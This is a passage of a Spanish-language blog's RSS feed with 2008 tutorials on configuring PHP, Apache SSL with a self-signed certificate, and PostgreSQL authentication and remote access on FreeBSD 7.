<p>Crear un archivo de configuración de PHP (<span style="font-family: courier new,courier;">php.ini</span>) a partir de los archivos base incluídos en la distribución (<span style="font-family: courier new,courier;"><strong>dist</strong> </span>para <strong>desarrolladores</strong><span style="font-family: courier new,courier;"> </span>o <strong><span style="font-family: courier new,courier;">recommended</span></strong> para <strong>ambientes en producción</strong>).</p>
<pre># cp /usr/local/etc/php.ini-recommended /usr/local/etc/php.ini
# vi /usr/local/etc/php.ini</pre>
<p>(Quitar el comentario)</p>
<pre>session.save_path = "/tmp"</pre>
<p>Crear un archivo de prueba para verificar el funcionamiento del CGI de PHP recién instalado.</p>
<pre># vi /home/web/test.php</pre>
<pre>    &lt;?php echo phpinfo (); ?&gt;</pre>
<p>Consultar la dirección del servidor (<span style="font-family: courier new,courier;">http://webserver.mydomain.com/<strong>test.php</strong></span>) con un navegador web.  Si la instalación fue exitosa se deberá visualizar una página similar a la mostrada a continuación.</p>
<p style="text-align: center;"><a href="http://www.jorgeivanmeza.com/blog/wp-content/uploads/2008/05/phpinfo.png"><img class="alignnone size-medium wp-image-336 aligncenter" title="phpinfo" src="http://www.jorgeivanmeza.com/blog/wp-content/uploads/2008/05/phpinfo-247x300.png" alt="" width="247" height="300" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/instalacion-de-php-5x-cgi-en-freebsd-7/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Configuración del módulo SSL en Apache 2.2.x en FreeBSD 7</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/configuracion-del-modulo-ssl-en-apache-22x-en-freebsd-7/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=configuracion-del-modulo-ssl-en-apache-22x-en-freebsd-7</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/configuracion-del-modulo-ssl-en-apache-22x-en-freebsd-7/#comments</comments>
		<pubDate>Wed, 14 May 2008 02:10:38 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=328</guid>
		<description><![CDATA[Se configura el inicio automático de Apache para que incluya el módulo de SSL. # vi /etc/rc.conf apache2_flags="-DSSL" Se establecen las ubicaciones donde se creará el certificado SSL. # cd /usr/local/etc/apache22 # mkdir ssl.key # mkdir ssl.crt # chmod 0700 ssl.key # chmod 0700 ssl.crt Se crea el certificado SSL del servidor. Se deberán tener [...]]]></description>
			<content:encoded><![CDATA[<p>Se configura el inicio automático de Apache para que incluya el módulo de SSL.</p>
<pre># vi /etc/rc.conf</pre>
<pre>apache2_flags="-DSSL"</pre>
<p>Se establecen las ubicaciones donde se creará el certificado SSL.</p>
<pre># cd /usr/local/etc/apache22</pre>
<pre># mkdir ssl.key</pre>
<pre># mkdir ssl.crt</pre>
<pre># chmod 0700 ssl.key</pre>
<pre># chmod 0700 ssl.crt</pre>
<p>Se crea el certificado SSL del servidor.  Se deberán tener en cuenta las recomendaciones mencionadas en el artículo de <a href="http://www.jorgeivanmeza.com/blog/2008/05/13/soporte-ssl-para-las-conexiones-de-postgresql-en-freebsd/" target="_blank">soporte SSL para PGSQL</a>.  En particular, se deberá reemplazar la contraseña (<span style="font-family: courier new,courier;">MyPassPhrase</span>) por una propia y privada.</p>
<pre># openssl genrsa -des3 -out server.key 1024</pre>
<pre>Enter pass phrase for server.key: MyPassPhrase</pre>
<p>Solicitud de firma del certificado: Certificate Signing Request (CSR).</p>
<pre># openssl req -new -key server.key -out server.csr</pre>
<pre>Enter pass phrase for server.key: MyPassPhrase
Verifying - Enter PEM pass phrase: MyPassPhrase
Country Name (2 letter code) [AU]: CO
State or Province Name (full name) [Some-State]: Caldas
Locality Name (eg, city) []: Manizales
Organization Name (eg, company) [Internet Widgits Pty Ltd]:  Personal Development
Organizational Unit Name (eg, section) []: Educacion
Common Name (eg, YOUR name) []: webserver.mydomain.com
Email Address []:jimezam@gmail.com
A challenge password []: Certificado&amp;2008k
An optional company name []: Smiley World</pre>
<p>Realización de la autofirma del certificado.</p>
<pre># openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
Enter pass phrase for server.key: MyPassPhrase</pre>
<p>Ubicación de los certificados en sus ubicaciones finales.</p>
<pre># rm server.csr</pre>
<pre># mv server.key ssl.key
# mv server.crt ssl.crt</pre>
<pre># chmod 0400 ssl.key/server.key
# chmod 0400 ssl.crt/server.crt</pre>
<p>Configuración de Apache para activar el módulo de SSL.</p>
<pre># vi /usr/local/etc/apache22/extra/httpd-ssl.conf</pre>
<pre>&lt;VirtualHost _default_:443&gt;
    DocumentRoot "/home/web"
    ServerName webserver.mydomain.com:443
    ServerAdmin jimezam@gmail.com
    ErrorLog /var/log/ssl-error.log
    TransferLog /var/log/ssl-access.log
    SSLCertificateFile "/usr/local/etc/apache22/ssl.crt/server.crt"
    SSLCertificateKeyFile "/usr/local/etc/apache22/ssl.key/server.key"
&lt;/VirtualHost&gt;</pre>
<pre># vi /usr/local/etc/apache22/httpd.conf</pre>
<pre>Include etc/apache22/extra/httpd-ssl.conf</pre>
<p>Reiniciar el servicio de Apache.</p>
<pre># /usr/local/etc/rc.d/apache22 restart</pre>
<pre>Enter pass phrase: MyPassPhrase</pre>
<p>Realizar la verificación de su funcionamiento consultando las siguientes direcciones web.</p>
<ul>
<li>http://webserver.mydomain.com</li>
<li>https://webserver.mydomain.com</li>
</ul>
<p>Cada vez que se inicie el servicio, como en el paso anterior, se solicitará la clave asignada.  Esta característica fue diseñada por razones de seguridad, es necesaria ya que la llave RSA privada del archivo <span style="font-family: courier new,courier;">server.key</span> se encuentra encriptada con ella, sin embargo es posible removerla bajo consideración del administrador.  Para remover esta capa de seguridad se deben ejecutar los pasos siguientes.</p>
<pre># cd /usr/local/etc/apache22/ssl.key</pre>
<pre># cp server.key server.key.orig</pre>
<pre># openssl rsa -in server.key.org -out server.key</pre>
<pre>Enter pass phrase for server.key.orig: MyPassPhrase</pre>
<pre># /usr/local/etc/rc.d/apache22 restart</pre>
<p>Enlaces:</p>
<ul>
<li><a href="http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#aboutcerts" target="_blank">SSL/TLS Strong Encryption: FAQ</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/configuracion-del-modulo-ssl-en-apache-22x-en-freebsd-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Autenticación local y conexiones de red de PostgreSQL 8.2 en FreeBSD 7</title>
		<link>http://blog.jorgeivanmeza.com/2008/05/autenticacion-local-y-conexiones-de-red-de-postgresql-en-freebsd/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=autenticacion-local-y-conexiones-de-red-de-postgresql-en-freebsd</link>
		<comments>http://blog.jorgeivanmeza.com/2008/05/autenticacion-local-y-conexiones-de-red-de-postgresql-en-freebsd/#comments</comments>
		<pubDate>Tue, 13 May 2008 22:47:56 +0000</pubDate>
		<dc:creator>jimezam</dc:creator>
				<category><![CDATA[Bases de datos]]></category>
		<category><![CDATA[Linux/Solaris/BSD]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<guid isPermaLink="false">http://www.jorgeivanmeza.com/blog/?p=327</guid>
		<description><![CDATA[Autenticación local. Por defecto PostgreSQL permite que las conexiones al motor de bases de datos que se realizan de manera local se hagan sin autenticación, lo cual es poco recomendable. Este comportamiento puede modificarse siguiendo los pasos dispuestos a continuación. # vi /usr/local/pgsql/data/pg_hba.conf Modificamos el método pasándolo de trust a md5 para los orígenes de [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Autenticación local.</strong></p>
<p>Por defecto <a href="http://www.postgresql.org/" target="_blank">PostgreSQL</a> permite que las conexiones al motor de bases de datos que se realizan de manera local se hagan sin autenticación, lo cual es poco recomendable.  Este comportamiento puede modificarse siguiendo los pasos dispuestos a continuación.</p>
<pre># vi /usr/local/pgsql/data/pg_hba.conf</pre>
<p>Modificamos el método pasándolo de <span style="font-family: courier new,courier;">trust </span>a <span style="font-family: courier new,courier;">md5</span> para los orígenes de conexión que nos interese asegurar.  El siguiente es el nuevo contenido del archivo tomando en cuenta las modificaciones realizadas para <a href="http://www.jorgeivanmeza.com/blog/2008/05/13/soporte-ssl-para-las-conexiones-de-postgresql-en-freebsd/" target="_blank">activar el soporte de SSL</a>.</p>
<pre>local      all    all                      md5
hostssl    all    all    127.0.0.1/32      md5
hostssl    all    all    ::1/128           md5</pre>
<p><strong>Habilitar el acceso a las bases de datos a través de TCP/IP.</strong></p>
<p>Nuevamente, por defecto PostgreSQL no permite la realización de conexiones cuya petición provenga de un equipo externo, es decir, diferente de <span style="font-family: courier new,courier;">localhost</span>.  Para habilitar esto se deberán seguir los pasos a continuación.</p>
<p>Es posible autorizar las conexiones desde orígenes externos nombrados, es decir, especificar con precisión desde cuales direcciones IP se habilitarán las conexiones remotas enunciándolas separadas por espacio en la variable <span style="font-family: courier new,courier;">listen_address</span> (reemplazando el <em>asterisco </em>= todos).</p>
<pre># vi /usr/local/pgsql/data/postgres.conf</pre>
<pre style="padding-left: 30px;">listen_addresses='*'</pre>
<p>Debe tenerse en cuenta que además de permitir las conexiones desde una dirección IP específica (o varias), es necesario especificar el tipo de autenticación para ese equipo/red como se realizó en la sección anterior para <em>localhost</em>.  Para permitir conexiones entrantes con soporte para SSL (<span style="font-family: courier new,courier;">hostssl</span>), a cualquier base de datos (primer <span style="font-family: courier new,courier;">all</span>), de cualquier usuario (segundo <span style="font-family: courier new,courier;">all</span>) desde cualquier equipo de la red 192.168.1.x (<span style="font-family: courier new,courier;">192.168.0.0/24</span>) utilizando contraseñas encriptadas con MD5 se deberá realizar el siguiente procedimiento.</p>
<pre># vi /usr/local/pgsql/data/postgres.conf</pre>
<pre style="padding-left: 30px;">hostssl all all 192.168.1.0/24 md5</pre>
<p>Para ajustar una mayor granularidad en la seguridad de conexión se deberán personalizar estos valores a sus requerimientos individuales.</p>
<p>Es necesario reiniciar el servicio para que se tomen en cuenta las modificaciones a la configuración recién realizadas.</p>
<p>Enlaces:</p>
<ul>
<li><a href="http://www.postgresql.org/docs/8.2/static/auth-pg-hba-conf.html" target="_blank">The pg_hba.conf file</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.jorgeivanmeza.com/2008/05/autenticacion-local-y-conexiones-de-red-de-postgresql-en-freebsd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
